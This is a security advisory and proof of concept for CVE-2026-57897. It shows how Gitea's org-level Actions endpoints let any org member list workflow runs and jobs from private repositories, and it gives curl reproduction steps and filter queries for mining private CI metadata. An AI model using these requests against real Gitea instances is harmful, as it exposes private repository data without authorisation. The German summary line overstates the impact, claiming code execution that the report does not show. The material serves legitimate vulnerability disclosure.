CVE-2026-57897

Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, sensible Informationen offenzulegen, Sitzungen zu übernehmen oder wiederzuverwenden oder einen Denial-of-Service-Zustand auszulösen.

**Author:** Prakhar Porwal **Date:** 2026-05-24 **Target:** Gitea (self-hosted Git service) **Branch tested:** `main` @ `b7e95cc48c` (development build, go1.26.3) **Component:** `routers/api/v1/org/action.go` (org-level Actions API) **OWASP:** API3:2023 Broken Object Property Level Authorization --- ## 1. Summary The org-level Actions REST endpoints ``` GET /api/v1/orgs/{org}/actions/runs GET /api/v1/orgs/{org}/actions/jobs ``` are gated only by **`reqOrgMembership()`** + `reqToken()`. They then call `shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)` / `shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)`, which selects **every** `action_run` / `action_run_job` row whose repository belongs to the org — with **no per-repository ACL check**. Result: any user who is a member of an organization can enumerate workflow runs and jobs from **every repository in that org**, including: * private repositories the caller has no team membership for, * repositories where the caller has been explicitly denied the `repo.actions` unit, * repositories created by other teams the caller is not part of. Direct per-repo equivalents (`GET /api/v1/repos/{owner}/{repo}/actions/runs`, `…/jobs/{job_id}/logs`, `…/runs/{run_id}/jobs`) correctly return `404` for the same caller — proving the org-level surface is the only path that leaks. --- ## 2. Affected Code ### 2.1 Route registration `routers/api/v1/api.go:1647-1652` ```go addActionsRoutes( m, reqOrgMembership(), // reqReaderCheck reqOrgOwnership(), // reqOwnerCheck org.NewAction(), ) ``` ### 2.2 Helper that registers run/job listing `routers/api/v1/api.go:908-941` ```go m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns) m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs) ``` `reqReaderCheck` for org-scope = `reqOrgMembership()` — bare org membership is enough; no per-repo permission is consulted. ### 2.3 Handler `routers/api/v1/org/action.go:595-683` ```go func (Action) ListWorkflowJobs(ctx *context.APIContext) { shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil) } func (Action) ListWorkflowRuns(ctx *context.APIContext) { shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) } ``` ### 2.4 Query construction (no ACL) `routers/api/v1/shared/action.go:138-215` ```go opts := actions_model.FindRunOptions{ OwnerID: ownerID, // ← org ID, NOT user ID RepoID: repoID, // = 0 at org level ListOptions: listOptions, } … runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts) ``` `models/actions/run_list.go:102-110` ```go func (opts FindRunOptions) ToJoins() []db.JoinFunc { if opts.OwnerID > 0 { return []db.JoinFunc{func(sess db.Engine) error { sess.Join("INNER", "repository", "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID) return nil }} } return nil } ``` The join only constrains `repository.owner_id = orgID`. There is no `access`/`team_repo`/`collaboration` join and no `access_model.GetDoerRepoPermission(...)` filter — every row in the org is returned. The same bug applies to `shared.ListJobs`, which calls `db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})` using an analogous repository join. --- ## 3. Steps to Reproduce ### 3.1 Setup * Org **`1st-org`** with one **private** repo `1st-org-repo`. * Team **`Owners`** contains user **`admin`** (org owner). * Team **`1st-team`** has **zero repositories** assigned (units permission `none` for actions, no included repos). * User **`admin2`** is a regular user (`is_admin = false`), member of `1st-team` only — so org member, but **no team grants any access to `1st-org-repo`**. Verified that admin2 lacks direct access: ```bash $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/repos/1st-org/1st-org-repo {"errors":null,"message":"not found","url":"…"}[404] $ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/repos [] [200] ``` A workflow file was committed to `1st-org-repo/.gitea/workflows/ci.yml` to produce an `action_run`: ```yaml name: ci on: push jobs: hello: runs-on: ubuntu-latest steps: - run: echo "SECRET_INFO_FROM_PRIVATE_REPO" ``` ### 3.2 Trigger ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/runs ``` **Output (truncated)** ```json {"workflow_runs":[{ "id":7, "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7", "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7", "display_title":"add workflow", "path":"ci.yml@refs/heads/main", "event":"push", "run_attempt":1, "run_number":1, "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …}, "trigger_actor":{ … "login":"admin" … }, "repository":{ "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo", "description":"test123", "private":true, "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git", "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git", … } }],"total_count":1} [200] ``` Same primitive for jobs: ```bash $ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/actions/jobs {"jobs":[{ "id":7, "run_id":7, "name":"hello", "labels":["ubuntu-latest"], "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73", "head_branch":"main", "status":"queued", … }],"total_count":1} [200] ``` ### 3.3 search primitives All query parameters supported by `ListRuns`/`ListJobs` work too — turning the endpoint into a **search oracle** over private workflow metadata: ```bash # Find runs on a specific branch in private repos: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main" # Confirm a given commit SHA exists in any private repo of the org: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…" # Filter by actor: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin" # Filter by event/status: curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure" ``` All return matching rows from private repos in the org. --- ## 4. Impact A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org: | Field leaked | Why it matters | |-------------------------------|------------------------------------------------------| | `repository.full_name`, `description`, `private`, clone URLs | Existence + topology of private repos | | `head_sha`, `head_branch` | Confirms commits / branch names exist in private repos | | `path` (workflow file) | Reveals workflow YAML filenames | | `event`, `display_title` | Commit messages / event types | | `actor`, `trigger_actor` | Internal contributor identities incl. noreply emails | | `created_at`, `started_at` | Activity timing / CI cadence | | Pagination + `?head_sha=`/`?branch=`/`?actor=` filters | Full **search oracle** over private workflow history | Real-world consequences: 1. **Org reconnaissance** — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules. 2. **Insider-threat amplification** — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history. 3. **Cross-team violation** — when an org isolates internal projects via teams (e.g. `security/` vs `infra/` teams), this surface flatly bypasses that boundary. 4. **Pivot data** — commit SHAs disclosed here unlock subsequent endpoints that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA). The same primitive is exposed regardless of token scope, as long as the token has `organization` scope, the user is an org member, and the org has any private repos with action runs. ---

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs in gitea.dev